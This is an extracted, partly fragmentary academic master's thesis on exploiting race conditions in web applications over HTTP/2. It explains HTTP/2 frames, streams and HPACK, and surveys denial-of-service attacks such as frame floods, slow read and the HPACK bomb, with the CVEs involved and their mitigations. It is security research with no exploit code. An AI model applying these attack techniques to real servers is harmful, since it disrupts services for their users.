Exploiting Race Conditions in Web Applications With HTTP2
Exploiting Race Conditions in Web Applications With HTTP2
NTNU
Norwegian University of
Science and Technology
Faculty of Information Technology and Electrical
Engineering
Department of Information Security and Communication
Master's thesis
Technology
June 2020
Kaspar Papli
Kaspar Papli
Problem description:
Race conditions can occur in web applications if several threads, each serving a
different request, access or modify a single resource at the same time, causing
unexpected or undesired behaviour. These vulnerabilities can be exploited by issuing
crafted requests in parallel, prompting the web application to also process them in
parallel. The main difficulty is making the requests arrive at the victim’s web server
as close together in time as possible. In HTTP/2, the client is not limited to only one
request per TCP connection, as in HTTP/1.x. This could open up possibilities for
issuing many parallel requests over a single TCP connection, making race condition
exploits significantly more feasible.
The purpose of this project is to explore and document how race conditions could
be exploited in HTTP/2, evaluate the discovered methods on popular HTTP/2
implementations and develop tools that use these methods for security testing web
applications.
Nicolas Canceill
Acknowledgements
v
MSS Maximum Segment Size property of a TCP connection
OWASP Open Web Application Security Project
PRI PRIORITY flag of a HTTP/2 frame
RFC Request for Comments
SID Stream identifier of a HTTP/2 frame
SQL Structured Query Language
SSL Secure Sockets Layer protocol
TCP Transmission Control Protocol
TLS Transport Layer Security protocol
TOCTOU Time-of-Check-to-Time-of-Use flaw
UDP User Datagram Protocol
URI Uniform Resource Identifier
XSS Cross-Site Scripting attack
Contents
Abstract i
Acknowledgements iii
1 Introduction 1
1.1 Background . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.1.1 Web Applications and HTTP/2 . . . . . . . . . . . . . . . . . 1
1.1.2 Race Conditions . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.2 Scope . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.3 Structure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
2 Evolution of HTTP 5
2.1 HTTP/0.9 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
2.2 HTTP/1.0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
2.2.1 Request Syntax and Semantics . . . . . . . . . . . . . . . . . 7
2.2.2 Response Syntax and Semantics . . . . . . . . . . . . . . . . 9
2.2.3 Security Considerations . . . . . . . . . . . . . . . . . . . . . 10
2.3 HTTP/1.1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
2.4 HTTP/2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
2.4.1 Headers and HPACK . . . . . . . . . . . . . . . . . . . . . . . 14
2.4.2 Frames . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
2.4.3 Streams and Multiplexing . . . . . . . . . . . . . . . . . . . . 22
2.4.4 Stream Dependency . . . . . . . . . . . . . . . . . . . . . . . 23
2.4.5 Server Push . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
2.4.6 Settings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
2.4.7 Flow Control . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
2.4.8 Starting HTTP/2 . . . . . . . . . . . . . . . . . . . . . . . . . 28
2.4.9 Example Conversation . . . . . . . . . . . . . . . . . . . . . . 30
vii
3 Previous Work on HTTP/2 Security 33
3.1 Denial-of-Service Attacks . . . . . . . . . . . . . . . . . . . . . . . . 34
3.1.1 Flood Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
3.1.2 Attacks on Multiplexing and Stream Dependency . . . . . . . 36
3.1.3 Attacks on Flow Control . . . . . . . . . . . . . . . . . . . . . 37
3.1.4 Attacks against HPACK . . . . . . . . . . . . . . . . . . . . . 38
3.1.5 General Mitigation . . . . . . . . . . . . . . . . . . . . . . . . 39
4 Race Conditions 41
4.1 Races in Web Applications . . . . . . . . . . . . . . . . . . . . . . . 42
4.1.1 Accessing Shared Resources . . . . . . . . . . . . . . . . . . . 43
4.1.2 Time-of-Check-to-Time-of-Use Vulnerability . . . . . . . . . . 44
8 Conclusion 63
8.1 Contributions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
8.2 Limitations and Future Work . . . . . . . . . . . . . . . . . . . . . . 64
References 67
Chapter
Introduction
1
1.1 Background
The first official version of HTTP, referred to as HTTP/1.0, was publicly specified
in 1996 but the protocol had already been in use since 1990 [BLFF96]. In 1997, a more
strictly standardised version of HTTP was released, called HTTP/1.1 [FGM+ 97].
This version added several new features and standardised previously ambiguous
mechanisms [FGM+ 97].
HTTP/1.1 remained the latest version for 17 years, receiving multiple extension
specifications until it was succeeded in 2015 by the next major version HTTP/2
which focuses on improving performance and scalability [BPT15].
Today, 46% of the 10 million most popular websites serve their content over
HTTP/2 [Sur20]. Yet, significantly less research has been done on HTTP/2 security
compared to HTTP/1.1 [Tiw17], and many popular security testing tools, such as
Burp Suite [Stu20] and OWASP Zed Attack Proxy [Ben18], still do not support
testing HTTP/2 websites.
Traditionally websites were static, they did not depend on context or user in-
1
2 1. INTRODUCTION
put. However, nowadays many websites have become more interactive: they per-
form authentication, process and store sensitive data and execute complex business
logic [Enc20].
These websites are referred to as web applications [Enc20]. Some of the most
popular web applications on the Internet, Gmail [Pet20], YouTube [Iqb20] and
Facebook [Sta20], are each used by billions of users every month.
For most web applications, security is critical. Vulnerabilities can lead to unavail-
ability and exposure of sensitive information. Common vulnerabilities range from
poorly implemented authentication or input sanitation to browser-specific problems
such as cross-site scripting (XSS) and cross-site request forgery (CSRF) [Fou20d].
However, exploiting race conditions requires very precise timing of the attacker’s
requests in order for the web server to execute specific code segments concurrently
and cause a race condition. This makes race vulnerabilities difficult to reliably
exploit [PMBM08].
Requests over the Internet often have unpredictable latency, and this is further
complicated by increasingly complex network architectures involving reverse proxies,
load balancers and content delivery networks.
However, since HTTP/2 allows sending several parallel requests over one TCP
connection, this could be used to significantly improve the timing, and thus, reliability
of race vulnerability exploits.
1.2. SCOPE 3
1.2 Scope
The main goal of this thesis is to explore, document and analyse novel methods for
exploiting race conditions in web applications that use HTTP/2. In addition, new
open-source security testing tools are developed that allow low-level experimentation
with HTTP/2 and exploitation of the discovered methods.
The discovered novel methods are analysed and compared with exploit techniques
for HTTP/1.x, including both previously published and unpublished methods. How-
ever, a thorough experimental evaluation of these methods remains out of the scope
of this thesis.
The techniques and attacks described in this thesis serve an informational purpose
meant to educate the information security community and help security professionals
protect systems against them.
These methods should never be used against any system without the system
owner’s explicit permission. All methods described in this thesis were tested on our
own machines and applications, or with permission from the system’s owner.
1.3 Structure
This thesis is structured as follows.
Chapter 2 presents the evolution of HTTP from its inception with the World
Wide Web to HTTP/2 which is the most recent stable version. HTTP/2 is discussed
in detail in Section 2.4.
Chapter 6 proposes two novel techniques for exploiting race conditions with
HTTP/2. A comparison of all methods described in Chapters 5 and 6 is provided in
Section 6.3.
Chapter 8 concludes this thesis with main contributions outlined in Section 8.1
and future research directions discussed in Section 8.2.
Chapter
Evolution of HTTP
2
The concept of the World-Wide Web (WWW) was described by Tim Berners-Lee in
1989 [Cc14]. Around the same time, development began on the components of the
WWW by his team at the European Organization for Nuclear Research (CERN).
One of the essential components of the WWW became the Hypertext Transfer
Protocol (HTTP) over which a web browser could request a specific Hypertext
Markup Language (HTML) document and present it to the user [BL91].
HTTP has always been a request-response protocol, in which the party making
the request is called the client and the response is returned by the server. Each
communication round consists of a request sent by the client and a response returned
by the server.
The protocol is stateless. Neither the client nor the server must persist any state
between requests and responses.
When used on TCP, HTTP defines two standard TCP ports that are used for
HTTP traffic by default. Port 80 is used for serving web pages in plain HTTP and
port 443 is used for HTTP connections over a Transport Layer Security (TLS) or
Secure Sockets Layer (SSL) connection [BLFF96].
HTTP does not provide any security mechanisms to protect the confidentiality
or integrity of the messages [FR14d]. Instead, HTTP communication is commonly
wrapped into a TLS connection that ensures both confidentiality and integrity for
HTTP. TLS also provides means to authenticate the server, and optionally the client,
using public-key authentication or a symmetric pre-shared key [Res18].
5
6 2. EVOLUTION OF HTTP
2.1 HTTP/0.9
HTTP began as a very simple protocol for retrieving HTML documents. The request
was a one-line ASCII string that specified only the path of the desired document and
the response consisted of just the requested HTML document, or another HTML
document that described an error that occurred in a human-readable format [BL91].
An example of a HTTP/0.9 request and response can be seen in Figure 2.1 and
Figure 2.2, respectively.
GET /some/document/path
<html>
Some document content.
</html>
In HTTP/0.9, GET is the only HTTP method, there are no headers in the request
or response, and no status codes [BL91]. Therefore, it is not possible to specify the
format of the response, the expected format is always HTML.
Data can be passed from the client to the server only in the request path, there is
no concept of a request body. Client error and response handling is very limited due to
the lack of status codes and headers, for example redirection, caching, authentication
and error-retry mechanisms do not exist.
When the first HTTP client and server implementations were completed in 1990,
the protocol was not formally specified or versioned. In 1991, this early version
was documented according to current implementations and named HTTP/0.9 to
differentiate it from the subsequent HTTP/1.0 [BL91].
2.2 HTTP/1.0
HTTP/1.0, the more extensible and powerful version of HTTP was first documented
in 1992 as an Internet Draft of the Internet Engineering Task Force (IETF) [BL92].
However, it continued to evolve organically as a result of web browsers and servers
adding their own custom features to support new use cases [Mic20].
2.2. HTTP/1.0 7
This RFC specifies many new features including headers, content types, redi-
rection, authentication mechanisms, 3 request methods and 15 response status
codes [BLFF96]. It was designed to be backwards-compatible with HTTP/0.9 and
added a version string to the first request line to enable determining the protocol
version and compatibility [BLFF96].
The semantics described in the HTTP/1.0 RFC lay the foundations of HTTP,
and most of these concepts have persisted in subsequent HTTP versions as well.
forty-two
Request Line
The first line of the request is called the request line and comprises a method token,
a request Uniform Resource Identifier (URI) upon which to apply the request, and
the protocol version that is being used, all separated by spaces.
The 3 specified request methods are GET, HEAD and POST. Each of these methods
has a general semantic meaning that can slightly depend on the context.
8 2. EVOLUTION OF HTTP
GET indicates that the client wishes to retrieve the entity identified by the given
request URI. However, for example when an If-Modified-Since header is also
included with the request, the server should respond with the given entity only if it
has changed since the date provided in that header.
The HEAD method is identical to GET with the exception that the identified entity
is never returned, only the headers. Therefore, the response to a HEAD request must
never contain a response body. The returned headers must be equivalent to an
analogous GET request. This method can be used for example to check the validity
and modification of hypertext links, or to obtain various other metainformation
about the entity.
POST allows the client to submit an entity to the server for processing. It is
the only method defined in this RFC that allows the client to attach a body to
the request. POST requests must also include a valid Content-Length header that
contains the length of the request body in bytes.
The action performed by the server upon receipt of a POST request can vary and
depends on the server, the request URI and any additional context. For example, it
can be used to submit a form with user-inputted data, create a new post in a forum
or upload a document.
In addition to these 3 methods, custom methods are also allowed. If the server
does not recognise or support a method, it should respond with status code 501.
The second component in the request line is the request URI. It can either be an
absolute URI, such as http://example.com/some/document/path or an absolute
path, such as /some/document/path, depending on whether the request is directed
towards a proxy or the final origin server that is supposed to serve the request.
The request line ends with a protocol version string. This string must be in the
format HTTP/<major-version>.<minor-version>, such as HTTP/1.0. To ensure
compatibility with HTTP/0.9, servers should assume that HTTP/0.9 is used if no
version string is specified.
Headers
The request line is followed by a list of headers, separated by CRLF characters.
Headers contain metadata about the request, such as the date and time of the
request, information about the user agent (the software making the request) or
authorisation credentials.
is the value in a header-specific format. For example, a standard Date header could
look like this: Date: Wed, 12 Dec 2012 12:12:12 GMT.
Request Body
The header list is ended by an explicit CRLF sequence. This is in addition to the
normal CRLF sequences that delimit request components. Therefore, the header list
is separated from the next component of the request, which is the optional request
body, by two consecutive CRLF sequences.
The following request body is simply a sequence of bytes. The number of bytes
in the body must be specified as the value of the Content-Length header to enable
the receiver to determine where the request body ends.
The response message can represent a successful state, an error state, or various
other states that communicate the status of the request. These states are mainly
represented by status codes which are 3-digit integers with predefined semantics.
Status Codes
HTTP/1.0 defines 15 distinct status codes. The first digit in a status code represents
its class and general meaning:
– 1xx codes are used for informational purposes but this class is reserved for
future and experimental use and contains no specified codes,
– 2xx represents success: the server successfully acted upon the request,
– 3xx means that redirection is needed, for example the requested resource has
moved to a different location and the client should make a request to the new
location,
– 5xx represents a server error: the request might be valid but the server cannot
fulfil it due to an internal problem.
The servers and clients are not required to use or recognise all of the defined
codes but must understand the class of all codes. The first status code in each class
(x00) represents the general purpose of that class. If a code is unrecognised by a
client, they must interpret it as the first code x00 in the respective class.
10 2. EVOLUTION OF HTTP
Response Syntax
The HTTP/1.0 response message consists of a status line, list of headers, followed
by a CRLF sequence and an optional response body, all separated by CRLF sequences.
An example of a response message can be seen in Figure 2.4.
Similarly to the first line in the request, the status line in the response message is
a space-separated list that contains the protocol version string and the status code,
along with the code’s textual representation.
<html>
That is correct!
</html>
The status line is followed by a list of headers, following the same header syntax
as in the request message.
However, the list of predefined header names is slightly different, for example
instead of the User-Agent header identifying the software making the request, the
server can set the Server header to identify the software serving the request.
Analogously to the request message syntax, the response ends with an explicit
CRLF sequence, followed by an optional response body (sequence of bytes) whose
length is defined in the Content-Length header.
Servers must not send a body in response to a HEAD request. However, if the cor-
responding GET request would have generated a response body, the Content-Length
header must be present and must represent the length of the response body as if it
was sent.
A large part of the discussion is about user privacy. It is noted that the HTTP/1.0-
provided plaintext authentication using the Authorization header is not a secure
method of user authentication and also does not provide any means for hiding the
request body. Therefore, any intermediary on the network could steal the credentials,
eavesdrop on the conversation or modify the messages.
Similarly, an intermediary could read, modify or delete any HTTP message that
contains other sensitive information. HTTP headers Server, Referer and From can
compound to this problem. Referer and From contain data that can be used to
more accurately track users while Server can be used to identify the server software,
making it easier for attackers to exploit known vulnerabilities.
It is recommended that websites provide a toggle interface for the users to enable
or disable sending Referer and From headers.
Web server logs are noted as a special concern since they can save data about the
users’ requests that could be used to identify the users’ reading patterns or interests,
noting that the responsibility lies with the server owners [BLFF96]:
2.3 HTTP/1.1
Even before the HTTP/1.0 RFC was published, IETF was already working on a
more strictly standardised version of HTTP, called HTTP/1.1 [Mic20].
The HTTP/1.1 specification was published in 1997 as RFC 2068 [FGM+ 97]. In
addition to a strict standardisation, the specification added some features to improve
performance, decrease latency and extend flexibility:
– The underlying TCP connection can now be reused for multiple requests.
This saves the overhead that comes with opening a new TCP connection for
subsequent requests.
12 2. EVOLUTION OF HTTP
– A mandatory Host request header was added. This contains the original host
and port of the requested resource and allows the web server to differentiate
between potentially multiple different host names associated with a single IP
address. For example, this enables the server to host several websites with
distinct domain names on the same machine.
– Cache mechanisms have been improved, content negotiation and the chunked
transfer encoding mechanisms have been added. Several new request methods:
OPTIONS, PUT, DELETE, TRACE, and many new status codes were also included.
An example of a HTTP/1.1 request and response can be seen in Figure 2.5 and
Figure 2.6, respectively.
forty-two
<html>
This method is not allowed!
</html>
In 1999, it was replaced with RFC 2616 [FGM+ 99], and in 2014, the specification
was divided into 6 separate documents, each handling a specific topic area of HTTP:
These revisions also introduced minor changes into HTTP, for example they added
the CONNECT method to establish a tunnelled connection via a proxy [FGM+ 99] and
formally defined the https scheme to use with SSL/TLS connections [FR14a].
2.4 HTTP/2
In 2015, 17 years after the first standardisation of HTTP/1.1, the specification
for the next major version of HTTP was published [BPT15]. It is based on the
concepts of SPDY, a protocol developed mainly by Google in 2012-2015 to replace
HTTP [BB15, Bri15]. SPDY was deprecated in 2015 in favour of HTTP/2 [BB15].
Figure 2.7 shows a sample HTTP/2 request and response, both how it is transmit-
ted on the wire in binary (left, hexadecimal) and its decoded values with explanations
(right).
In HTTP/2, the request method and URI are instead sent as special pseudo-
headers fields that are prepended to the normal header list. Afterwards, the whole
header list is compressed using a custom algorithm called HPACK [BPT15].
Pseudo-header field names start with the character :, for example :method
contains the request method and :path contains the request URI.
In addition to the request method and URI, two other pseudo-header fields can
be used in requests:
– :scheme must contain the scheme part of the request URI, such as https or
http,
– :authority is an optional pseudo-header field that should be used in place of
the Host header defined in HTTP/1.1.
Similarly, the status code in a response must be transmitted in a pseudo-header
field :status. No other pseudo-header fields are defined for responses. Unlike
headers, pseudo-header fields are not extendable and custom pseudo-header fields
are not allowed.
HPACK
The header list compression format HPACK is specified separately as RFC 7541 [PR15].
HPACK is a stateful algorithm that works by maintaining a header field table that
maps seen header fields to indices. This dynamic table is maintained and updated
incrementally during the whole HTTP/2 connection by both the client and server.
In addition to this dynamic header field table, there’s also a predefined static
table that contains the most common fields. This static table is defined in Appendix
A of RFC 7541 [PR15].
2.4. HTTP/2 15
REQUEST:
RESPONSE:
In the encoded header block, each header field can be represented by the literal
value of the header field, which can optionally be Huffman-encoded, or a reference to
an entry in either the dynamic or static header field tables.
If a header field is not indexed in the static or dynamic table then the encoder
can choose whether to index it in the dynamic table. However, indexing might not
always be desired.
Security Considerations
Headers that contain sensitive information, such as cookies or credentials, should not
be indexed. Any information included in the compression context could be potentially
recovered by an adversary using a chosen plaintext attack when considering HPACK
compression as a length-based oracle.
In this attack, the adversary inserts potential guesses of the sensitive data into
the request (response) headers and observes the size of the request (response). If the
size of the request (response) is smaller than expected then it can be inferred that
the adversary’s current guess was previously included in the compression context
and thus the guess is correct.
If a header field is not indexed then it can optionally be encoded using a static
canonical Huffman code to reduce its length. The encoding table for the Huffman
code is defined in Appendix B of RFC 7541 [PR15].
2.4.2 Frames
HTTP/2 uses a concept called frames for encapsulating all messages on the connection.
There are different types of frames but all frames share the same basic binary format,
illustrated in Figure 2.8.
2.4. HTTP/2 17
+-----------------------------------------------+
| Length (24) |
+---------------+---------------+---------------+
| Type (8) | Flags (8) |
+-+-------------+---------------+-------------------------------+
|R| Stream Identifier (31) |
+=+=============================================================+
| Frame Payload (0...) ...
+---------------------------------------------------------------+
Figure 2.8: Binary layout of a HTTP/2 frame [BPT15].
Each frame consists of a frame header and payload. The frame header defines
the frame’s main attributes:
The payload of the frame is variable-length and specific to the frame type. The
maximum size of the payload is defined by the SETTINGS_MAX_FRAME_SIZE connection
setting which has a default value of 16 384 bytes.
HTTP/2 defines 10 distinct frame types, each serving a specific purpose. Some
frames are used for HTTP requests and responses, some are for managing the
connection state or settings, and others enable new HTTP/2-specific features, such
as ping or server push. The defined frames are described in Table 2.1.
18 2. EVOLUTION OF HTTP
In HTTP/2, requests and responses are associated via streams. Streams are
opened by requests and closed by responses (or errors). Each stream is identified by
a 31-bit unsigned integer called a stream ID. All HTTP/2 frames contain a stream
ID that links it to a stream.
Each new stream ID must be greater than all previous IDs that the initiator has
used. For example, if a client has sent a request on a stream with ID 3 then for a
future stream ID, it must use an odd number greater than 3, such as 7.
Stream IDs cannot be reused. If no more IDs are available then a new connection
should be established.
Frames from different streams can be interleaved on a single connection, except for
CONTINUATION frames which must immediately succeed a HEADERS, PUSH_PROMISE
or CONTINUATION frame from the same stream that has no END_HEADERS flag set.
1. Client sends a HEADERS frame on stream 1 with the END_HEADERS flag set.
2. Client sends a HEADERS frame on stream 3 with the END_HEADERS flag set.
2. Client sends a HEADERS frame on stream 3 with the END_HEADERS flag set.
2.4. HTTP/2 23
The number of concurrent streams a peer can open is specified by the setting
SETTINGS_MAX_CONCURRENT_STREAMS. By default, this value is unlimited and the
specification suggests that this should not be set to less than 100. Only streams
where the request has been partly or fully sent, but the response has not been fully
received, count towards this limit.
– ID of the stream that the current stream depends on. This can also be a stream
ID that has not been used yet, in that case, this stream will depend on a future
stream.
– An 8-bit unsigned integer that represents the relative weight of this dependency.
If several streams depend on the same stream (or do not depend on any stream)
then this weight is used to determine the order in which these streams should
be processed.
A A
/ \ ==> / | \
B C B D C
w:1 w:1 w:1 w:2 w:1
Figure 2.9: Adding a non-exclusive stream dependency results in the new stream
being added next to existing dependencies. w:x indicates that this stream is assigned
dependency weight x. Figure adapted from [BPT15].
Examples
Assume streams B and C depend on stream A with weight 1. Then sending the
following frame (frame flags and payload partly omitted):
HEADERS[ stream_id=D;
dependency_stream=A;
dependency_weight=2;
dependency_exclusive=0 ]
However, if the exclusive flag is set (frame flags and payload partly omitted):
HEADERS[ stream_id=D;
dependency_stream=A;
dependency_weight=2;
dependency_exclusive=1 ]
then the new stream D acquires exclusive dependency by moving the existing
dependencies B and C to depend on D instead. In this situation, the dependency
weight of D does not have any effect because there are no other streams that depend
on stream A. This operation is illustrated in Figure 2.10.
A
A |
/ \ ==> D w:2
B C / \
w:1 w:1 B C
w:1 w:1
However, these requests are often grouped together in predictable patterns. For
example, when loading a specific web page, most clients load the same combination
of stylesheets, scripts and images. This can be taken advantage of to increase
parallelisation and reduce the effect of latency.
The server can predict future client requests by analysing previous requests, and
deducing which assets the client might need in the future.
HTTP/2 introduces a new feature called server push that enables the server to
send a HTTP response to the client without requiring a client-initiated request.
For example, the following scenario illustrates a valid use of server push:
26 2. EVOLUTION OF HTTP
2. Based on the analysis of this request, the server recognises that it should
push another asset X that the client will likely need. The server sends a
PUSH_PROMISE frame on stream 1 containing the pseudo-request for asset X
along with a promised stream ID of 2.
3. The server sends a HEADERS frame and a DATA frame on stream 1 in response
to the original client request.
4. The server sends a HEADERS frame and a DATA frame on stream 2 containing a
response to the pseudo-request in the PUSH_PROMISE frame.
Server push is allowed only for cacheable requests with the GET or HEAD method
and no request body. Since requests with these methods should not produce any
state changes in the server [FR14b], it is safe for the server to implicitly perform
these requests on behalf of the client.
Considering that these requests are cacheable, clients can use an existing general-
purpose HTTP cache for storing the pushed responses without requiring specific
handling.
Clients can cancel specific push requests by closing the promised stream with a
RST_STREAM frame, or globally disable server push by setting SETTINGS_ENABLE_PUSH
to 0 (false).
2.4.6 Settings
A number of connection-scoped settings can be set by both the client and server.
Each party advertises settings that apply to them when receiving.
Settings are sent in a SETTINGS frame on stream 0. Each SETTINGS frame must
be acknowledged by the receiving party by responding with an empty SETTINGS
frame with the ACK flag set.
SETTINGS frames must be sent by both the client and server at the beginning of
the connection, and they can be sent later at any time as well.
Each setting consists of a 16-bit predefined identifier and a 32-bit value. All
settings defined in HTTP/2 and their description can be found in Table 2.2.
2.4. HTTP/2 27
Both parties must maintain flow control windows for all open streams and the
connection as a whole. These windows are integers representing how many bytes the
peer is allowed to send at that time.
Out of all frames defined in HTTP/2, only DATA frames are subject to flow control
and decrease the available flow control window.
All other frames can be sent at any time, irrespective of the flow control
window. This guarantees that connection control frames, such as SETTINGS and
WINDOW_UPDATE, are not blocked by flow control.
The initial value for the connection-wide flow control window is 65 535 bytes. The
initial value for stream windows is defined by the SETTING_INITIAL_WINDOW_SIZE
setting. The maximum value for any flow control window is 2 147 483 647 (231 − 1)
bytes.
Most web browsers support HTTP/2 only over TLS [Dc20]. For example, Mozilla
states that HTTP/2 without TLS will not be supported in Firefox because "new
features are implemented only for secure connections" [SD20].
After the TLS connection setup is complete, both the client and server must
confirm that HTTP/2 is in use by sending a connection preface as the first application-
level message.
The client’s connection preface starts with the following sequence of 24 bytes (in
hexadecimal notation):
0x505249202a20485454502f322e300d0a0d0a534d0d0a0d0a
Both SETTINGS frames sent in the prefaces must be acknowledged normally (see
Section 2.4.6). After the client has sent its SETTINGS frame, it may begin sending
additional frames without waiting for the server’s SETTINGS to arrive.
If the client is not aware of the server’s HTTP/2 support then it can use the
standard HTTP Upgrade mechanism [FR14a] with the protocol identifier h2c by
including the following headers with its next HTTP/1.1 request:
The server can accept the upgrade with status code 101 Switching Protocols
and proceed by sending its connection preface. The client must also respond with its
connection preface.
After the connection preface, the server must send the response to the request
that was used to upgrade the connection, on stream 1, as if the request was made in
HTTP/2 on stream 1.
30 2. EVOLUTION OF HTTP
16. Client: GOAWAY with last processed stream ID of 2 and error code NO_ERROR.
The connection fully ends when the client or server closes the underlying TLS
and TCP connections.
Previous Work on HTTP/2
Security
Chapter
3
Although HTTP/2 is already widely adopted, there exists significantly less research
on the security of HTTP/2 than HTTP/1.x [Tiw17, SAMK18, Ini16]. One possible
reason for this is that since the use of HTTP/2 remains transparent for the web
application developers, it might be assumed that previously valid security assumptions
apply.
In HTTP/1.x, the basic protocol unit that is typically analysed from a security
perspective, is a request or response. HTTP/2 adds the concept of connections which
can contain multiple potentially interleaved and parallel requests and responses. In
addition, connections are managed by separate dedicated messages (frames) that
alter the connection state and must be processed by the endpoints according to
different rules and priorities.
These additions increase the attack surface of the protocol and should warrant
special consideration by developers.
All messages in HTTP/2 are encoded and sent in binary. For existing security tools,
supporting HTTP/2 often requires replacing the protocol parsing and serialisation
components of the tools which might be time-consuming. This results in a deficiency of
tools that can be used by security researchers to test implementations and experiment
with the protocol.
– Apache HTTP server was vulnerable to a "slow loris" attack over HTTP/2
in which each client-opened stream occupied one thread in the server (CVE-
2018-17189) [CVE18g] and had additional performance problems with worker
allocation (CVE-2018-1333) [CVE18c], both of which could lead to denial-of-
service.
33
34 3. PREVIOUS WORK ON HTTP/2 SECURITY
– Apache Tomcat bypassed some security checks when using HTTP/2 which
led to a path traversal vulnerability (CVE-2017-7675) [CVE17c] and did not
correctly handle connection state transitions when sent a GOAWAY frame on a
stream that was constrained by the current flow control window (CVE-2017-
5650) [CVE17b].
– An out-of-bounds read could be triggered in the HTTP/2 protocol parser
(CVE-2018-20615) [CVE18h] and the HPACK implementation (CVE-2018-
14645) [CVE18d] of HAProxy, causing the process to crash.
– In Firefox and Thunderbird, an out-of-bounds read could be triggered by mal-
formed DATA frames arriving from the server, causing a potentially exploitable
crash (CVE-2017-5446) [CVE17a].
– F5 BIG-IP fails to correctly handle the use of disallowed TLS ciphers (CVE-2020-
5871) [CVE20a], maliciously crafted request frames (CVE-2018-5514) [CVE18i]
and certain malformed requests (CVE-2020-5891) [CVE20b], leading to denial-
of-service.
– nginx had a flaw in the HTTP/2 worker management component which caused
excessive CPU usage (CVE-2018-16844) [CVE18f] and memory consumption
(CVE-2018-16843) [CVE18e].
Most of these flaws are related to well-known and -studied application security
subjects: memory management, input sanitation, state and thread management. The
nature of these flaws is protocol-independent—they could occur, and have occurred,
when handling other protocols as well. Introducing these vulnerabilities could be
prevented by classical, yet imperfect, measures like developer education, static code
analysis and security testing tools.
When performed on a web application, its main goal is to prevent legitimate users
from being able to use the application [ABH17]. This can result in a loss of revenue
for businesses and a decrease in user satisfaction [ABH17].
3.1. DENIAL-OF-SERVICE ATTACKS 35
DoS attacks are typically performed by exhausting resources of the server, leading
to the server not being able to service users. Attacks can target any limited resource,
such as network bandwidth, CPU time or memory. An attack can be especially
effective if the server does not limit the amount of resources that can be allocated
for each client or connection.
DoS attacks usually involve one or more malicious clients sending specially crafted
traffic to the targeted server. Attackers often leverage malware-infected victim
machines to form large-scale botnets that are coordinated to send traffic to the
target.
In a DoS attack, the traffic should be designed such that it causes the server
to use as much resources as possible. This usually means that the traffic must be
valid in the protocol that is used. Otherwise, the server will not spend resources on
processing the traffic.
Flood attacks can cause the server to use excessive amounts of CPU time or
memory. The most notable flood attack vulnerabilities for HTTP/2 are:
– Apache HTTP server 2.4.17-2.4.23 does not restrict the size of the request
header (CVE-2016-8740) [CVE16h]. This allows an attacker to send an arbitrary
number of headers with a legitimate request, causing the server to allocate an
unrestricted amount of memory.
– Similarly to ping flood, rapidly sending SETTINGS frames causes the server
to consume a lot of resources in several implementations (CVE-2019-9515,
CVE-2018-11763) [CVE19e, CVE18b, Net19]. The specification requires that
each SETTINGS frame must be acknowledged by the receiver.
Flood attacks are inherent to protocols where there is no rate limiting, like
HTTP/2. All of the above attacks use methods that are not strictly malicious—a
legitimate client could also exhibit this behaviour, albeit for a short amount of time.
This makes it difficult to completely prevent the attacks. However, they can be
mitigated by simply limiting how much resources each client or connection is allowed
to use, and optimising the frame processing components.
Alternatively, the server could rate-limit processing certain frames, such as PING,
SETTINGS and empty frames. However, this might not provide a significant speedup
in processing because the server would still need to parse the frames to identify them.
More importantly, if the server chooses to ignore certain frames due to rate-limiting,
then that could also leave the client and server in an inconsistent state.
Instead, the specification currently states that implementations should track the
number of SETTINGS, PUSH_PROMISE, WINDOW_UPDATE, PRIORITY and empty frames,
and also monitor the use of header compression [BPT15]. In case of suspicious
activity, they should close the connection with the error code ENHANCE_YOUR_CALM.
consume a lot of CPU time. The attacker can create arbitrary dependency
trees with unused future streams by sending PRIORITY frames. These future
streams do not ever have to be used for requests.
This is an intended feature of HTTP/2 and the impact of this attack can only
be mitigated by limiting the amount of resources that are allocated for each
connection (dependency tree), or completely ignoring dependencies.
– The Python priority library [Bc20c] versions prior to 1.2.0 do not limit the
size of the dependency tree, enabling the attacker to potentially use all possible
230 − 1 stream IDs in the tree (CVE-2016-6580) [CVE16e]. Creating and
maintaining this tree causes very high memory and CPU usage.
The specification does not prescribe limits to the size of the dependency tree,
however, it states that implementations may limit the amount of prioritisation
state that is stored [BPT15].
To serve this request, the server might load the entire resource into memory and
begin sending it by following the client’s extremely small flow control window. The
server must hold the entire resource in memory while sending is in progress, which
might take a very long time. In HTTP/2, the attacker could initiate many such
requests in parallel over one connection, compounding the effect of the attack.
This type of attack is well-known in the TCP protocol by the name "slow read
attack" since TCP uses analogous flow control windows [AJF15, Net20a]. Yet the slow
read attack has still been discovered to be effective in many HTTP/2 implementations:
38 3. PREVIOUS WORK ON HTTP/2 SECURITY
Preventing slow read attacks is difficult since maintaining a small flow control
window is an allowed feature that can be used in legitimate situations. For example,
the client might be resource-constrained at the moment and unable to receive or
process more data.
To mitigate the effects of a slow read attack, servers could monitor the data flow
rate and terminate connections with a data flow rate below some threshold. However,
this might prevent legitimately slow clients from using the server, or they might
experience erratic behaviour, leading to bad user experience.
Header compression enables the client to send a small amount of compressed data
that will be uncompressed into a larger amount of data by the server. This can be
exploited by a simple attack called "HPACK Bomb".
In a HPACK Bomb attack, the attacker constructs an arbitrary header field that
is as large as possible while still fitting inside the dynamic header field table. This
malicious header is then encoded into the dynamic table and referenced as many
times as possible in the following requests. The server must subsequently decompress
each malicious header, consuming a large amount of memory.
HPACK Bomb attacks can achieve compression ratios of 4096 or more [CVE16f].
This means that for every byte the attacker sends, the server consumes 4096 bytes of
memory when decompressing the malicious header.
3.1. DENIAL-OF-SERVICE ATTACKS 39
Several different libraries and tools have been discovered to vulnerable to the
HPACK Bomb attack:
The specification recommends servers to track the use of header compression and
close connections where clients exhibit suspicious behaviour [BPT15]. Additionally,
it discusses the maximum size of a header block which can be advertised by the
